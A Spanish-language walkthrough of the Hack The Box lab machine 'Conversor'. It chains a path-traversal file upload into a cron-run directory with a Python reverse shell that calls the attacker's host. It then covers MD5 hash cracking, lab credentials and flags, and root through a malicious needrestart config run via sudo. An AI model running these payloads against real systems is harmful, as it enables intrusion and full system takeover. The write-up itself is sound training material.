CorvusDDosKRom

Hack The Box: Conversor

Easy

Conversor es una máquina de nivel Easy en Hack The Box.

Linux
Hack The Box
Apache Flask Path Traversal File Upload Cronjob Abuse Source Code Disclosure SQLite Hash Cracking CVE-2024-48990 Sudo

Conversor

Plataforma: Hack The Box

Dificultad: Easy


Conversor

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN conversor.txt 10.129.17.149
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-08 17:28 -0300
Nmap scan report for 10.129.17.149
Host is up (0.81s latency).
Not shown: 40064 closed tcp ports (reset), 25469 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.85 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN conversor.txt: Guarda los resultados en el archivo “conversor.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 8.9p1 Ubuntu 3ubuntu0.13)
  • 80/tcp - HTTP (Apache httpd 2.4.52)

Configuración del Host

El servidor indica el hostname conversor.htb, por lo que necesitamos agregar esta entrada al archivo /etc/hosts:

echo "10.129.17.149 conversor.htb" | sudo tee -a /etc/hosts

Enumeración

Enumeración Web

Al acceder a http://conversor.htb/ nos encontramos con un sistema de autenticación que incluye páginas de login y registro.

Página de Login

Accediendo a http://conversor.htb/login encontramos un formulario de autenticación simple:

Login Page

Campos del formulario:

  • Username
  • Password
  • Botón “Login”
  • Link a “Register” para crear una cuenta

Página de Registro

En http://conversor.htb/register se encuentra el formulario de registro de nuevos usuarios:

Register Page

Campos del formulario:

  • Username
  • Password
  • Botón “Register”
  • Link a “Login” para usuarios existentes

Endpoints identificados:

  • /login - Formulario de autenticación
  • /register - Formulario de registro de usuarios

Funcionalidad Principal

Después de registrarnos e iniciar sesión, accedemos a la página principal de la aplicación en http://conversor.htb/:

Home Page

Descripción de la funcionalidad:

La aplicación Conversor permite transformar escaneos de Nmap (archivos XML) en un formato más estético mediante hojas de estilo XSLT.

Características identificadas:

  • Carga de archivos XML: Permite subir el output XML generado por Nmap
  • Carga de archivos XSLT: Permite subir una hoja de estilo XSLT personalizada para transformar el XML
  • Botón “Convert”: Procesa ambos archivos y genera el resultado transformado
  • Download Template: Link para descargar una plantilla XSLT de ejemplo
  • Your Uploaded Files: Sección que muestra los archivos previamente subidos

Navbar identificada:

  • Home
  • About
  • Logout

Vector de ataque potencial:

El procesamiento de archivos XML y XSLT puede ser vulnerable a:

  • XXE (XML External Entity Injection): Lectura de archivos del sistema
  • XSLT Injection: Ejecución remota de código (RCE) mediante funciones XSLT maliciosas

Análisis de la Plantilla XSLT

Al descargar la plantilla desde el link “Download Template”, obtenemos el archivo nmap.xslt:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" indent="yes" />

  <xsl:template match="/">
    <html>
      <head>
        <title>Nmap Scan Results</title>
        <style>
          body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(120deg, #141E30, #243B55);
            color: #eee;
            margin: 0;
            padding: 0;
          }
          <!-- Estilos CSS omitidos por brevedad -->
        </style>
      </head>
      <body>
        <h1>Nmap Scan Report</h1>
        <h3><xsl:value-of select="nmaprun/@args"/></h3>

        <xsl:for-each select="nmaprun/host">
          <div class="card">
            <div class="host-header">
              Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
              <xsl:if test="hostnames/hostname/@name">
                (<xsl:value-of select="hostnames/hostname/@name"/>)
              </xsl:if>
            </div>
            <table>
              <tr>
                <th>Port</th>
                <th>Protocol</th>
                <th>Service</th>
                <th>State</th>
              </tr>
              <xsl:for-each select="ports/port">
                <tr>
                  <td><xsl:value-of select="@portid"/></td>
                  <td><xsl:value-of select="@protocol"/></td>
                  <td><xsl:value-of select="service/@name"/></td>
                  <td>
                    <xsl:attribute name="class">
                      <xsl:value-of select="state/@state"/>
                    </xsl:attribute>
                    <xsl:value-of select="state/@state"/>
                  </td>
                </tr>
              </xsl:for-each>
            </table>
          </div>
        </xsl:for-each>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

Análisis clave:

  • Versión XSLT: 1.0
  • Formato de salida: HTML
  • Funcionalidad: Parsea el XML de Nmap y extrae información de hosts, puertos y servicios
  • Procesador: Desconocido (podría ser libxslt, Saxon, Xalan, etc.)

Esta plantilla es legítima, pero puede ser modificada para incluir funciones XSLT peligrosas como:

  • document() - Para leer archivos externos del sistema
  • Extensiones PHP (si usa libxslt con PHP)
  • Funciones Java (si usa Saxon)

Explotación

Descubrimiento del Código Fuente

Al explorar la página “About” (/about), encontramos un botón “Download Source Code” que revela el código fuente completo de la aplicación Flask.

About Page

Análisis del Código Fuente

Hallazgos críticos identificados:

  1. Secret Key débil:
app.secret_key = 'Changemeplease'

Esta clave estática podría permitir forjar sesiones de usuario.

  1. Hashing MD5 para contraseñas:
password = hashlib.md5(request.form['password'].encode()).hexdigest()

MD5 es un algoritmo de hash inseguro y obsoleto.

  1. Parser XML restrictivo:
parser = etree.XMLParser(resolve_entities=False, no_network=True,
                         dtd_validation=False, load_dtd=False)

Configuración de seguridad:

  • resolve_entities=False - Bloquea XXE
  • no_network=True - Bloquea conexiones de red desde XML
  • dtd_validation=False - Deshabilita validación DTD
  • load_dtd=False - No carga DTDs externas

Esto explica por qué los ataques XXE y document('file:///') fallaron.

  1. Procesamiento XSLT sin restricciones:
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)

El XSLT se procesa sin configuraciones de seguridad, usando la biblioteca lxml.

  1. Biblioteca utilizada: lxml
  • Soporta XSLT 1.0
  • NO tiene extensiones PHP habilitadas por defecto
  • Pero sí permite otras funciones XSLT
  1. Ruta de archivos:
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
DB_PATH = '/var/www/conversor.htb/instance/users.db'

Descubrimiento de Cronjob

Al revisar el código fuente descargado, encontramos un archivo install.md que revela información crítica sobre el sistema:

Contenido de install.md:

## Cronjob Configuration

The application includes an automated script executor that runs every minute:

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Análisis del cronjob:

  • Se ejecuta cada minuto (* * * * *)
  • Corre como usuario www-data
  • Ejecuta todos los archivos .py en /var/www/conversor.htb/scripts/
  • Utiliza Python 3 para ejecutar los scripts

Este cronjob representa un vector de ejecución remota de código si logramos escribir un archivo Python malicioso en el directorio scripts/.

Path Traversal via File Upload

Vulnerabilidad identificada

Al analizar el código de subida de archivos en app.py, identificamos una vulnerabilidad de Path Traversal:

xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']

# Vulnerable: No valida el nombre del archivo
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)

xml_file.save(xml_path)
xslt_file.save(xslt_path)

Problema: La función os.path.join() no sanitiza el parámetro filename, permitiendo el uso de secuencias de path traversal como ../.

Explotación

Paso 1: Crear payload de reverse shell

cat > shell.py << 'EOF'
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.214", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
EOF

Paso 2: Generar archivo XML válido para Nmap

sudo nmap -p 80 127.0.0.1 -oX scan.xml

Paso 3: Configurar listener de netcat

nc -lvnp 4444

Paso 4: Interceptar request con Burp Suite y modificar el nombre del archivo

Subimos los archivos normalmente desde la interfaz web, pero interceptamos el request POST con Burp Suite para modificar el parámetro filename:

Path Traversal con Burp Suite

Modificación del request:

Content-Disposition: form-data; name="xslt_file"; filename="../scripts/shell.py"
Content-Type: application/octet-stream

El servidor guarda el archivo en:

/var/www/conversor.htb/uploads/../scripts/shell.py
→ /var/www/conversor.htb/scripts/shell.py

Paso 5: Esperar a que el cronjob ejecute el script (máximo 60 segundos)

Reverse Shell Recibida

Shell obtenida como www-data:

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.214] from (UNKNOWN) [10.129.17.149] 37240
bash: cannot set terminal process group (2707): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Estabilización de la shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash

User Flag

Exploración del Sistema

Una vez con acceso como www-data, exploramos el directorio de la aplicación:

www-data@conversor:/var/www/conversor.htb$ ls
app.py
app.wsgi
instance
__pycache__
scripts
static
templates
uploads

Descubrimiento de la Base de Datos

Navegamos al directorio instance donde encontramos la base de datos SQLite:

www-data@conversor:/var/www/conversor.htb/instance$ ls -la
total 32
drwxr-x--- 2 www-data www-data  4096 Feb  8 20:45 .
drwxr-x--- 8 www-data www-data  4096 Aug 14 21:34 ..
-rwxr-x--- 1 www-data www-data 24576 Feb  8 20:45 users.db

Analizamos la base de datos:

www-data@conversor:/var/www/conversor.htb/instance$ file users.db
users.db: SQLite 3.x database

www-data@conversor:/var/www/conversor.htb/instance$ sqlite3 users.db
sqlite> .tables
files  sqlite_sequence  users
sqlite> .schema users
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE,
    password TEXT
);
sqlite> SELECT * FROM users;
1|corvus|5f4dcc3b5aa765d61d8327deb882cf99
2|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec

Base de Datos con Hashes

Usuarios encontrados:

  • corvus: 5f4dcc3b5aa765d61d8327deb882cf99
  • fismathack: 5b5c3ac3a1c897c94caad48e6c71fdec

Crackeo de Hashes MD5

Guardamos los hashes en un archivo para crackearlos:

echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
echo "5b5c3ac3a1c897c94caad48e6c71fdec" >> hashes.txt

Utilizamos John the Ripper para crackear los hashes:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Crackeo con John

Resultados:

  • 5b5c3ac3a1c897c94caad48e6c71fdec → Keepmesafeandwarm

El hash del usuario fismathack fue crackeado exitosamente.

Acceso SSH

Con las credenciales obtenidas, accedemos por SSH:

ssh fismathack@conversor.htb

SSH Login

Credenciales:

  • Usuario: fismathack
  • Contraseña: Keepmesafeandwarm

Obtención de User Flag

fismathack@conversor:~$ ls
user.txt

fismathack@conversor:~$ cat user.txt
23e4e289cb6f5c8b650a834b59869c76

User Flag


Escalada de Privilegios

Enumeración de Privilegios

Verificamos los privilegios sudo del usuario fismathack:

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Sudo Privileges

Hallazgo crítico: El usuario puede ejecutar /usr/sbin/needrestart como root sin contraseña.

Análisis de needrestart

Verificamos la versión instalada:

fismathack@conversor:~$ /usr/sbin/needrestart --version
needrestart 3.7 - Restart daemons after library updates.

Needrestart Version

Versión vulnerable: needrestart 3.7 es susceptible a CVE-2024-48990.

CVE-2024-48990 - Local Privilege Escalation

Descripción de la vulnerabilidad

CVE-2024-48990 es una vulnerabilidad de escalada de privilegios local en needrestart < 3.8 que permite la ejecución de código arbitrario como root.

Causa raíz:

  • needrestart acepta el parámetro -c para especificar un archivo de configuración personalizado
  • El archivo de configuración se interpreta como código Perl
  • No hay validación o sanitización del contenido del archivo
  • Al ejecutar needrestart con sudo, el código Perl se ejecuta con privilegios de root

Referencias:

  • CVE-2024-48990
  • CWE-94: Improper Control of Generation of Code (‘Code Injection’)

Método 1: Usando system() directive

Creamos un archivo de configuración malicioso que ejecuta código mediante system():

cat > /tmp/exploit.conf << 'EOF'
BEGIN { system("/bin/sh") }
[needrestart]
EOF

Ejecutamos needrestart con el archivo de configuración malicioso:

sudo /usr/sbin/needrestart -c /tmp/exploit.conf

Needrestart Exploit - Método 1

Resultado: Shell de root obtenida inmediatamente.

Método 2: Usando exec con privilegios preservados

Alternativamente, podemos usar exec para ejecutar una shell con privilegios preservados:

echo 'exec "/bin/sh","-p";' > /tmp/con.conf
sudo /usr/sbin/needrestart -c /tmp/con.conf

Needrestart Exploit - Método 2

Resultado: Shell de root con privilegios completos.

Verificación de Privilegios Root

# id
uid=0(root) gid=0(root) groups=0(root)

Root Shell


Root Flag

Con acceso como root, navegamos al directorio /root y leemos la flag:

# cd /root
# ls
root.txt  scripts
# cat root.txt
bc02b37cab0cad541148760a003a2e53

Root Flag


Colaboradores

Este writeup fue elaborado en colaboración con:

Agradecimiento especial por el trabajo conjunto en la resolución de esta máquina.


Máquina Conversor completada exitosamente.